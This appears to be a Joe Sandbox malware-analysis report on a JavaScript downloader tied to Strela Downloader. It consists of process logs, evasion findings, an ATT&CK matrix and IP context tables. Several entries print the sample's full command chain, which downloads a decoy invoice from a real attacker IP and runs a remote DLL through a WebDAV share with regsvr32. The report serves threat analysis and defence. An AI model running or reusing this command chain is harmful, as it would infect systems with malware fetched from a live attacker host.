Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4625			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5249			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7576	Thread sleep count: 4625 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7580	Thread sleep count: 5249 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7648	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7888	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8152	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000006.00000003.1735289969.000001DCEABFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1736456944.000001DCEABFC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5
Source: net.exe, 00000006.00000002.1736239349.000001DCEAB98000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735289969.000001DCEABFC000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1736456944.000001DCEABFC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2961781652.000001C96DE5F000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2961139091.000001C96CADE000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.2960893374.000001C96CA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\57732215922036.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
241721637114311605.js	4%	Virustotal		Browse
241721637114311605.js	0%	ReversingLabs

Source	Detection	Scanner	Label
http://193.143.1.205:8888/P	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/l	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/spaceB	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1676746782.000002A04227E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1679111168.000002A043FC3000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2961139091.000001C96CAC0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/spaceB	net.exe, 00000006.00000002.1736239349.000001DCEAB98000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1734979898.000001C9720C2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/P	net.exe, 00000006.00000002.1736456944.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1734979898.000001C9720C2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high
http://193.143.1.205:8888/l	net.exe, 00000006.00000002.1736456944.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1735360004.000001DCEABD0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587860
Start date and time:	2025-01-10 18:40:51 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 2s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	241721637114311605.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/59@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 3.233.129.217, 52.6.155.20, 52.22.41.97, 3.219.243.226, 2.16.168.107, 2.16.168.105, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 23.57.90.69, 23.57.90.77, 23.57.90.68, 23.57.90.71, 23.57.90.73, 23.57.90.70, 23.57.90.74, 192.168.2.4, 52.149.20.212, 23.206.252.175, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
12:41:44	API Interceptor	23x Sleep call for process: powershell.exe modified
12:41:48	API Interceptor	1x Sleep call for process: net.exe modified
12:41:48	API Interceptor	2x Sleep call for process: svchost.exe modified
12:42:01	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3132773231614716983.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1917827975246096126.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	7605302032554420656.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2808316613110627987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1283220404157902514.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	461871411576525587.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2280028191949810979.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2153616741885716229.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1515610719364115693.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	280109871157958128.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	77502473271720630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	213045010931018335.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073570784246928
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvr3:KooCEYhgYEL0In
MD5:	E7268C6A7AD202A0870DB0EEC631B683
